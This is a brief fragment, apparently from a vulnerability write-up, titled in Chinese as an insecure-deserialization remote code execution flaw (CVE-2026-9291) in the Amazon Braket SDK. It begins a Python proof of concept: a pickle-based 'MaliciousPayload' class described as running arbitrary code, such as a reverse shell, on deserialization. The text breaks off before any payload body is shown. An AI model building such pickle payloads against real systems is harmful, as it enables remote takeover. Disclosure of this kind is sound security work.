CVE-2026-9291 Amazon Braket SDK 不安全反序列化远程代码执行漏洞

# CVE-2026-9291 PoC - Malicious serialized payload generator # This PoC demonstrates the insecure deserialization vulnerability in Amazon Braket SDK import pickle import os class MaliciousPayload: """ Malicious class that executes arbitrary code during deserialization. In real attack, this would be crafted to execute reverse shell or other malicious commands.
